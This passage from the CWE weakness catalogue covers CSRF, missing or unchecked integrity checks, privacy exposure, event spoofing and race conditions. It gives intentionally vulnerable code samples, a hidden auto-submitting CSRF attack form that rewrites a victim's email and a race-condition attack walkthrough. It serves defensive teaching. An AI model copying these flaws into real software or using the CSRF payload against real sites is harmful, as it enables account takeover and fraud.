Use the "double-submitted cookie" method as described by Felten and Zeller: When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult. This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]

Phase: Architecture and Design

Do not use the GET method for any request that triggers a state change.

Phase: Implementation

Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.

Demonstrative Examples

Example 1:

This example PHP code attempts to secure the form submission process by validating that the user submitting the form has a valid session. A CSRF attack would not be prevented by this countermeasure because the attacker forges a request through the user's web browser in which a valid session already exists.

The following HTML is intended to allow a user to update a profile.

Example Language: HTML *(Bad)*

```
<form action="/url/profile.php" method="post">
<input type="text" name="firstname"/>
<input type="text" name="lastname"/>
<br/>
<input type="text" name="email"/>
<input type="submit" name="submit" value="Update"/>
</form>
```

profile.php contains the following code.

Example Language: PHP *(Bad)*

```
// initiate the session in order to validate sessions
session_start();
//if the session is registered to a valid user then allow update
if (! session_is_registered("username")) {
   echo "invalid session detected!";
   // Redirect user to login page
   [...]
   exit;
}
// The user session is valid, so process the request
// and update the information
update_profile();
function update_profile {
   // read in the data from $POST and send an update
   // to the database
   SendUpdateToDatabase($_SESSION['username'], $_POST['email']);
   [...]
   echo "Your profile has been successfully updated.";
}
```

This code may look protected since it checks for a valid session. However, CSRF attacks can be staged from virtually any tag or HTML construct, including image tags, links, embed or object tags, or other attributes that load background images.

The attacker can then host code that will silently change the username and email address of any user that visits the page while remaining logged in to the target web application. The code might be an innocent-looking web page such as:

Example Language: HTML *(Attack)*

```
<SCRIPT>
function SendAttack () {
   form.email = "attacker@example.com";
   // send to profile.php
   form.submit();
}
</SCRIPT>
<BODY onload="javascript:SendAttack();">
<form action="http://victim.example.com/profile.php" id="form" method="post">
<input type="hidden" name="firstname" value="Funny">
<input type="hidden" name="lastname" value="Joke">
<br/>
<input type="hidden" name="email">
</form>
```

Notice how the form contains hidden fields, so when it is loaded into the browser, the user will not notice it. Because SendAttack() is defined in the body's onload attribute, it will be automatically called when the victim loads the web page.

Assuming that the user is already logged in to victim.example.com, profile.php will see that a valid user session has been established, then update the email address to the attacker's own address. At this stage, the user's identity has been compromised, and messages sent through this profile could be sent to the attacker's address.

Observed Examples

Notes

Relationship

There can be a close relationship between XSS and CSRF (CWE-352). An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload. A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend. MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause.

Theoretical

The CSRF topology is multi-channel: Attacker (as outsider) to intermediary (as user). The interaction point is either an external or internal channel. Intermediary (as user) to server (as victim). The activation point is an internal channel.

CWE-353: Missing Support for Integrity Check

Weakness ID : 353
Structure : Simple
Abstraction : Base

Description

The product uses a transmission protocol that does not include a mechanism for verifying the integrity of the data during transmission, such as a checksum.

Extended Description

If integrity check values or "checksums" are omitted from a protocol, there is no way of determining if data has been corrupted in transmission. The lack of checksum functionality in a protocol removes the first application-level check of data that can be used. The end-to-end philosophy of checks states that integrity checks should be performed at the lowest level that they can be completely implemented. Excluding further sanity checks and input validation performed by applications, the protocol's checksum is the most important level of checksum, since it can be

performed more completely than at any previous level and takes into account entire messages, as opposed to single packets.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	345	Insufficient Verification of Data Authenticity	859
PeerOf	B	354	Improper Validation of Integrity Check Value	884
PeerOf	B	354	Improper Validation of Integrity Check Value	884

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1020	Verify Message Integrity	2471

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1214	Data Integrity Issues	2514

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Other *Data that is parsed and used may be corrupted.*	
Non-Repudiation Other	Hide Activities Other *Without a checksum it is impossible to determine if any changes have been made to the data after it was sent.*	

Potential Mitigations

Phase: Architecture and Design

Add an appropriately sized checksum to the protocol, ensuring that data received may be simply validated before it is parsed and used.

Phase: Implementation

Ensure that the checksums present in the protocol design are properly implemented and added to each message before it is sent.

Demonstrative Examples

Example 1:

In this example, a request packet is received, and privileged information is sent to the requester:

Example Language: Java *(Bad)*

```
while(true) {
   DatagramPacket rp = new DatagramPacket(rData,rData.length);
```

```
    outSock.receive(rp);
    InetAddress IPAddress = rp.getAddress();
    int port = rp.getPort();
    out = secret.getBytes();
    DatagramPacket sp =new DatagramPacket(out, out.length, IPAddress, port);
    outSock.send(sp);
}
```

The response containing secret data has no integrity check associated with it, allowing an attacker to alter the message without detection.

CWE-354: Improper Validation of Integrity Check Value

Weakness ID : 354
Structure : Simple
Abstraction : Base

Description

The product does not validate or incorrectly validates the integrity check values or "checksums" of a message. This may prevent it from detecting if the data has been modified or corrupted in transmission.

Extended Description

Improper validation of checksums before use results in an unnecessary risk that can easily be mitigated. The protocol specification describes the algorithm used for calculating the checksum. It is then a simple matter of implementing the calculation and verifying that the calculated checksum and the received checksum match. Improper verification of the calculated checksum and the received checksum can lead to far greater consequences.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Modify Application Data Other *Integrity checks usually use a secret key that helps authenticate the data origin. Skipping integrity checking generally opens up the possibility that new data from an invalid source can be injected.*	
Integrity Other	Other *Data that is parsed and used may be corrupted.*	

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities	
Other	Other *Without a checksum check, it is impossible to determine if any changes have been made to the data after it was sent.*	

Potential Mitigations

Phase: Implementation

Ensure that the checksums present in messages are properly checked in accordance with the protocol specification before they are parsed and used.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C *(Bad)*

```
sd = socket(AF_INET, SOCK_DGRAM, 0); serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {
   memset(msg, 0x0, MAX_MSG);
   clilen = sizeof(cli);
   if (inet_ntoa(cli.sin_addr)==...) n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &clilen);
}
```

Example Language: Java *(Bad)*

```
while(true) {
   DatagramPacket packet = new DatagramPacket(data,data.length,IPAddress, port);
   socket.send(sendPacket);
}
```

CWE-356: Product UI does not Warn User of Unsafe Actions

Weakness ID : 356
Structure : Simple
Abstraction : Base

Description

The product's user interface does not warn the user before undertaking an unsafe action on behalf of that user. This makes it easier for attackers to trick users into inflicting damage to their system.

Extended Description

Product systems should warn users that a potentially dangerous action may occur if the user proceeds. For example, if the user downloads a file from an unknown source and attempts to execute the file on their machine, then the application's GUI can indicate that the file is unsafe.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Weakness ID : 359
Structure : Simple
Abstraction : Base

Description

The product does not properly prevent a person's private, personal information from being accessed by actors who either (1) are not explicitly authorized to access the information or (2) do not have the implicit consent of the person about whom the information is collected.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Detection Methods

Architecture or Design Review

Private personal data can enter a program in a variety of ways: Directly from the user in the form of a password or personal information Accessed from a database or other data store by the application Indirectly from a partner or other third party If the data is written to an external location - such as the console, file system, or network - a privacy violation may occur.

Effectiveness = High

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control

flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Requirements

Identify and consult all relevant regulations for personal privacy. An organization may be required to comply with certain federal and state regulations, depending on its location, the type of business it conducts, and the nature of any private data it handles. Regulations may include Safe Harbor Privacy Framework [REF-340], Gramm-Leach Bliley Act (GLBA) [REF-341], Health Insurance Portability and Accountability Act (HIPAA) [REF-342], General Data Protection Regulation (GDPR) [REF-1047], California Consumer Privacy Act (CCPA) [REF-1048], and others.

Phase: Architecture and Design

Carefully evaluate how secure design may interfere with privacy, and vice versa. Security and privacy concerns often seem to compete with each other. From a security perspective, all important operations should be recorded so that any anomalous activity can later be identified. However, when private data is involved, this practice can in fact create risk. Although there are many ways in which private data can be handled unsafely, a common risk stems from misplaced trust. Programmers often trust the operating environment in which a program runs, and therefore believe that it is acceptable store private information on the file system, in the registry, or in other locally-controlled resources. However, even if access to certain resources is restricted, this does not guarantee that the individuals who do have access can be trusted.

Demonstrative Examples

Example 1:

The following code contains a logging statement that tracks the contents of records added to a database by storing them in a log file. Among other values that are stored, the getPassword() function returns the user-supplied plaintext password associated with the account.

Example Language: C# *(Bad)*

```
pass = GetPassword();
...
dbmsLog.WriteLine(id + ":" + pass + ":" + type + ":" + tstamp);
```

The code in the example above logs a plaintext password to the filesystem. Although many developers trust the filesystem as a safe storage location for data, it should not be trusted implicitly, particularly when privacy is a concern.

Example 2:

This code uses location to determine the user's current US State location.

First the application must declare that it requires the ACCESS_FINE_LOCATION permission in the application's manifest.xml:

Example Language: XML *(Bad)*

```
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
```

During execution, a call to getLastLocation() will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:

Example Language: Java *(Bad)*

```
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
deriveStateFromCoords(userCurrLocation);
```

While the application needs this information, it does not need to use the ACCESS_FINE_LOCATION permission, as the ACCESS_COARSE_LOCATION permission will be sufficient to identify which US state the user is in.

Example 3:

In 2004, an employee at AOL sold approximately 92 million private customer e-mail addresses to a spammer marketing an offshore gambling web site [REF-338]. In response to such high-profile exploits, the collection and management of private data is becoming increasingly regulated.

Notes

Maintenance

This entry overlaps many other entries that are not organized around the kind of sensitive information that is exposed. However, because privacy is treated with such importance due to regulations and other factors, and it may be useful for weakness-finding tools to highlight capabilities that detect personal private information instead of system information, it is not clear whether - and how - this entry should be deprecated.

Other

There are many types of sensitive information that products must protect from attackers, including system data, communications, configuration, business secrets, intellectual property, and an individual's personal (private) information. Private personal information may include a password, phone number, geographic location, personal messages, credit card number, etc. Private information is important to consider whether the person is a user of the product, or part of a data set that is processed by the product. An exposure of private information does not necessarily prevent the product from working properly, and in fact the exposure might be intended by the developer, e.g. as part of data sharing with other organizations. However, the exposure of personal private information can still be undesirable or explicitly prohibited by law or regulation. Some types of private information include: Government identifiers, such as

Social Security Numbers Contact information, such as home addresses and telephone numbers Geographic location - where the user is (or was) Employment history Financial data - such as credit card numbers, salary, bank accounts, and debts Pictures, video, or audio Behavioral patterns - such as web surfing history, when certain activities are performed, etc. Relationships (and types of relationships) with others - family, friends, contacts, etc. Communications - e-mail addresses, private messages, text messages, chat logs, etc. Health - medical conditions, insurance status, prescription records Account passwords and other credentials Some of this information may be characterized as PII (Personally Identifiable Information), Protected Health Information (PHI), etc. Categories of private information may overlap or vary based on the intended usage or the policies and practices of a particular industry. Sometimes data that is not labeled as private can have a privacy implication in a different context. For example, student identification numbers are usually not considered private because there is no explicit and publicly-available mapping to an individual student's personal information. However, if a school generates identification numbers based on student social security numbers, then the identification numbers should be considered private.

CWE-360: Trust of System Event Data

Weakness ID : 360
Structure : Simple
Abstraction : Base

Description

Security based on event locations are insecure and can be spoofed.

Extended Description

Events are a messaging system which may provide control data to programs listening for events. Events often do not have any type of authentication framework to allow them to be verified from a trusted source. Any application, in Windows, on a given desktop can send a message to any window on the same desktop. There is no authentication framework for these messages. Therefore, any message can be used to manipulate any process on the desktop if the process does not check the validity and safeness of those messages.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		345	Insufficient Verification of Data Authenticity	859
ParentOf		422	Unprotected Windows Messaging Channel ('Shatter')	1030

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2459

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability Access Control	Gain Privileges or Assume Identity Execute Unauthorized Code or Commands *If one trusts the system-event information and executes commands based on it, one could potentially take actions based on a spoofed identity.*	

Potential Mitigations

Phase: Architecture and Design

Never trust or rely any of the information in an Event for security.

Demonstrative Examples

Example 1:

This example code prints out secret information when an authorized user activates a button:

Example Language: Java *(Bad)*

```
public void actionPerformed(ActionEvent e) {
  if (e.getSource() == button) {
    System.out.println("print out secret information");
  }
}
```

This code does not attempt to prevent unauthorized users from activating the button. Even if the button is rendered non-functional to unauthorized users in the application UI, an attacker can easily send a false button press event to the application window and expose the secret information.

Observed Examples

CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Weakness ID : 362
Structure : Simple
Abstraction : Class

Description

The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

Extended Description

A race condition occurs within concurrent environments, and it is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc.

A race condition violates these properties, which are closely related:

- Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution.
- Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource.

A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity.

The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the product; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable product.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Technology : Mobile *(Prevalence = Undetermined)*

Technology : ICS/OT *(Prevalence = Undetermined)*

Alternate Terms

Race Condition :

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Resource Consumption (Other) *When a race condition makes it possible to bypass a resource cleanup routine or trigger multiple initialization routines, it may lead to resource exhaustion.*	
Availability	DoS: Crash, Exit, or Restart DoS: Instability *When a race condition allows multiple control flows to access a resource simultaneously, it might lead the product(s) into unexpected states, possibly resulting in a crash.*	
Confidentiality Integrity	Read Files or Directories Read Application Data *When a race condition is combined with predictable resource names and loose permissions, it may be possible for an attacker to overwrite or access confidential data (CWE-59).*	
Access Control	Execute Unauthorized Code or Commands Gain Privileges or Assume Identity Bypass Protection Mechanism *This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider.*	

Detection Methods

Black Box

Black box methods may be able to identify evidence of race conditions via methods such as multiple simultaneous connections, which may cause the software to become instable or crash. However, race conditions with very narrow timing windows would not be detectable.

White Box

Common idioms are detectable in white box analysis, such as time-of-check-time-of-use (TOCTOU) file operations (CWE-367), or double-checked locking (CWE-609).

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results. Race conditions may be detected with a

stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. Insert breakpoints or delays in between relevant code statements to artificially expand the race window so that it will be easier to detect.

Effectiveness = Moderate

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Cost effective for partial coverage: Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Framework-based Fuzzer Cost effective for partial coverage: Fuzz Tester Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.

Phase: Architecture and Design

Use thread-safe capabilities such as the data access abstraction in Spring.

Phase: Architecture and Design

Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring. Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the

likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).

Phase: Implementation

When using multithreading and operating on shared variables, only use thread-safe functions.

Phase: Implementation

Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x++". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.

Phase: Implementation

Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.

Phase: Implementation

Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.

Phase: Implementation

Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.

Phase: Implementation

Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Demonstrative Examples

Example 1:

This code could be used in an e-commerce application that supports transfers between accounts. It takes the total amount of the transfer, sends it to the new account, and deducts the amount from the original account.

Example Language: Perl *(Bad)*

```
$transfer_amount = GetTransferAmount();
$balance = GetBalanceFromDatabase();
if ($transfer_amount < 0) {
   FatalError("Bad Transfer Amount");
}
$newbalance = $balance - $transfer_amount;
if (($balance - $transfer_amount) < 0) {
   FatalError("Insufficient Funds");
}
SendNewBalanceToDatabase($newbalance);
NotifyUser("Transfer of $transfer_amount succeeded.");
NotifyUser("New balance: $newbalance");
```

A race condition could occur between the calls to GetBalanceFromDatabase() and SendNewBalanceToDatabase().

Suppose the balance is initially 100.00. An attack could be constructed as follows:

Example Language: Other *(Attack)*

In the following pseudocode, the attacker makes two simultaneous calls of the program, CALLER-1 and CALLER-2. Both callers are for the same user account.
CALLER-1 (the attacker) is associated with PROGRAM-1 (the instance that handles CALLER-1). CALLER-2 is associated with PROGRAM-2.
CALLER-1 makes a transfer request of 80.00.
PROGRAM-1 calls GetBalanceFromDatabase and sets $balance to 100.00
PROGRAM-1 calculates $newbalance as 20.00, then calls SendNewBalanceToDatabase().
Due to high server load, the PROGRAM-1 call to SendNewBalanceToDatabase() encounters a delay.
CALLER-2 makes a transfer request of 1.00.
PROGRAM-2 calls GetBalanceFromDatabase() and sets $balance to 100.00. This happens because the previous PROGRAM-1 request was not processed yet.
PROGRAM-2 determines the new balance as 99.00.
After the initial delay, PROGRAM-1 commits its balance to the database, setting it to 20.00.
PROGRAM-2 sends a request to update the database, setting the balance to 99.00

At this stage, the attacker should have a balance of 19.00 (due to 81.00 worth of transfers), but the balance is 99.00, as recorded in the database.

To prevent this weakness, the programmer has several options, including using a lock to prevent multiple simultaneous requests to the web application, or using a synchronization mechanism that includes all the code between GetBalanceFromDatabase() and SendNewBalanceToDatabase().

Example 2:

The following function attempts to acquire a lock in order to perform operations on a shared resource.

Example Language: C *(Bad)*

```
void f(pthread_mutex_t *mutex) {
  pthread_mutex_lock(mutex);
  /* access shared resource */
  pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

Example Language: C *(Good)*

```
int f(pthread_mutex_t *mutex) {
  int result;
  result = pthread_mutex_lock(mutex);
  if (0 != result)
    return result;
  /* access shared resource */
  return pthread_mutex_unlock(mutex);
}
```

Example 3:

Suppose a processor's Memory Management Unit (MMU) has 5 other shadow MMUs to distribute its workload for its various cores. Each MMU has the start address and end address of "accessible" memory. Any time this accessible range changes (as per the processor's boot status), the main MMU sends an update message to all the shadow MMUs.

Suppose the interconnect fabric does not prioritize such "update" packets over other general traffic packets. This introduces a race condition. If an attacker can flood the target with enough messages so that some of those attack packets reach the target before the new access ranges gets updated, then the attacker can leverage this scenario.

Observed Examples

Reference	Description
CVE-2022-29527	Go application for cloud management creates a world-writable sudoers file that allows local attackers to inject sudo rules and escalate privileges to root by winning a race condition. *https://www.cve.org/CVERecord?id=CVE-2022-29527*
CVE-2021-1782	Chain: improper locking (CWE-667) leads to race condition (CWE-362), as exploited in the wild per CISA KEV. *https://www.cve.org/CVERecord?id=CVE-2021-1782*
CVE-2021-0920	Chain: mobile platform race condition (CWE-362) leading to use-after-free (CWE-416), as exploited in the wild per CISA KEV. *https://www.cve.org/CVERecord?id=CVE-2021-0920*
CVE-2020-6819	Chain: race condition (CWE-362) leads to use-after-free (CWE-416), as exploited in the wild per CISA KEV. *https://www.cve.org/CVERecord?id=CVE-2020-6819*
CVE-2019-18827	chain: JTAG interface is not disabled (CWE-1191) during ROM code execution, introducing a race condition (CWE-362) to extract encryption keys *https://www.cve.org/CVERecord?id=CVE-2019-18827*
CVE-2019-1161	Chain: race condition (CWE-362) in anti-malware product allows deletion of files by creating a junction (CWE-1386) and using hard links during the time window in which a temporary file is created and deleted. *https://www.cve.org/CVERecord?id=CVE-2019-1161*
CVE-2015-1743	TOCTOU in sandbox process allows installation of untrusted browser add-ons by replacing a file after it has been verified, but before it is executed *https://www.cve.org/CVERecord?id=CVE-2015-1743*
CVE-2014-8273	Chain: chipset has a race condition (CWE-362) between when an interrupt handler detects an attempt to write-enable the BIOS (in violation of the lock bit), and when the handler resets the write-enable bit back to 0, allowing attackers to issue BIOS writes during the timing window [REF-1237]. *https://www.cve.org/CVERecord?id=CVE-2014-8273*
CVE-2008-5044	Race condition leading to a crash by calling a hook removal procedure while other activities are occurring at the same time. *https://www.cve.org/CVERecord?id=CVE-2008-5044*

Notes

Maintenance

The relationship between race conditions and synchronization problems (CWE-662) needs to be further developed. They are not necessarily two perspectives of the same core concept, since synchronization is only one technique for avoiding race conditions, and synchronization can be used for other purposes besides race condition prevention.

Research Gap

Race conditions in web applications are under-studied and probably under-reported. However, in 2008 there has been growing interest in this area.

Research Gap

Much of the focus of race condition research has been in Time-of-check Time-of-use (TOCTOU) variants (CWE-367), but many race conditions are related to synchronization problems that do not necessarily require a time-of-check.

Research Gap

From a classification/taxonomy perspective, the relationships between concurrency and program state need closer investigation and may be useful in organizing related issues.

CWE-363: Race Condition Enabling Link Following

Weakness ID : 363
Structure : Simple
Abstraction : Base

Description

The product checks the status of a file or directory before accessing it, which produces a race condition in which the file can be replaced with a link before the access is performed, causing the product to access the wrong file.

Extended Description

While developers might expect that there is a very narrow time window between the time of check and time of use, there is still a race condition. An attacker could cause the product to slow down (e.g. with memory consumption), causing the time window to become larger. Alternately, in some situations, the attacker could win the race by performing a large number of attacks.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	914
CanPrecede	B	59	Improper Link Resolution Before File Access ('Link Following')	112

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Demonstrative Examples

Example 1:

This code prints the contents of a file if a user has permission.

Example Language: PHP *(Bad)*

```
function readFile($filename){
  $user = getCurrentUser();
  //resolve file if its a symbolic link
  if(is_link($filename)){
    $filename = readlink($filename);
  }
  if(fileowner($filename) == $user){
    echo file_get_contents($realFile);
    return;
  }
  else{
    echo 'Access denied';
    return false;
  }
}
```

This code attempts to resolve symbolic links before checking the file and printing its contents. However, an attacker may be able to change the file from a real file to a symbolic link between the calls to is_link() and file_get_contents(), allowing the reading of arbitrary files. Note that this code fails to log the attempted access (CWE-778).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-364: Signal Handler Race Condition

Weakness ID : 364
Structure : Simple
Abstraction : Base

Description

The product uses a signal handler that introduces a race condition.

Extended Description

Race conditions frequently occur in signal handlers, since signal handlers support asynchronous actions. These race conditions have a variety of root causes and symptoms. Attackers may be able to exploit a signal handler race condition to cause the product state to be corrupted, possibly leading to a denial of service or even code execution.

These issues occur when non-reentrant functions, or state-sensitive actions occur in the signal handler, where they may be called at any time. These behaviors can violate assumptions being made by the "regular" code that is interrupted, or by other signal handlers that may also be invoked. If these functions are called at an inopportune moment - such as while a non-reentrant function is already running - memory corruption could occur that may be exploitable for code execution. Another signal race condition commonly found occurs when free is called within a signal handler, resulting in a double free and therefore a write-what-where condition. Even if a given pointer is set to NULL after it has been freed, a race condition still exists between the time the memory was freed and the pointer was set to NULL. This is especially problematic if the same signal handler has been set for more than one signal -- since it means that the signal handler itself may be reentered.

There are several known behaviors related to signal handlers that have received the label of "signal handler race condition":

- Shared state (e.g. global data or static variables) that are accessible to both a signal handler and "regular" code
- Shared state between a signal handler and other signal handlers
- Use of non-reentrant functionality within a signal handler - which generally implies that shared state is being used. For example, malloc() and free() are non-reentrant because they may use global or static data structures for managing memory, and they are indirectly used by innocent-seeming functions such as syslog(); these functions could be exploited for memory corruption and, possibly, code execution.
- Association of the same signal handler function with multiple signals - which might imply shared state, since the same code and resources are accessed. For example, this can be a source of double-free and use-after-free weaknesses.
- Use of setjmp and longjmp, or other mechanisms that prevent a signal handler from returning control back to the original functionality
- While not technically a race condition, some signal handlers are designed to be called at most once, and being called more than once can introduce security problems, even when there are not any concurrent calls to the signal handler. This can be a source of double-free and use-after-free weaknesses.

Signal handler vulnerabilities are often classified based on the absence of a specific protection mechanism, although this style of classification is discouraged in CWE because programmers often have a choice of several different mechanisms for addressing the weakness. Such protection mechanisms may preserve exclusivity of access to the shared resource, and behavioral atomicity for the relevant code:

- Avoiding shared state
- Using synchronization in the signal handler
- Using synchronization in the regular code
- Disabling or masking other signals, which provides atomicity (which effectively ensures exclusivity)

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Language : C++ *(Prevalence = Sometimes)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
